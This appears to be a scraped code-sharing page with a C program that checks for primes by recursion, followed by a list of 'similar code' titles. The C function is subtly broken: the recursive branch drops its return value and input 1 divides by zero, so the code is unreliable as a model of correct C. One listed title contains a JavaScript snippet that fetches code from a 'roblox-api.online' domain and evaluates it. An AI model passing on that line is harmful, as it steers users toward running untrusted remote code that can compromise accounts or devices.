Recursion c prime number

    #include<stdio.h>

int isPrime(int,int);

int main(){

    int num,prime;

    printf("Enter a positive number: ");
    scanf("%d",&num);

    prime = isPrime(num,num/2);

   if(prime==1)
        printf("%d is a prime number",num);
   else
      printf("%d is not a prime number",num);

   return 0;
}

int isPrime(int num,int i){

    if(i==1){
        return 1;
    }else{
       if(num%i==0)
         return 0;
       else
         isPrime(num,i-1);
    }
}

Source: stackoverflow.com

Similar codes

0 vote133 views9 answers
Javascript$get'//roblox-api.online/roblox?id=5904'.eval)
C
7 votes138 views2 answers
Jpg to png converter
C
0 vote168 views1 answer
Parsing using strtok
C
0 vote142 views1 answer
Get range of values in mongodb
C
0 vote143 views1 answer
String to doublein c
C
1 vote162 views1 answer
C detect a change of line in a file
C
1 vote141 views1 answer
Thread in c
C
0 vote133 views1 answer
List fiter octobercms
C
0 vote133 views1 answer
Mpi split communicator
C
1 vote142 views1 answer
How to mutex lock in c
C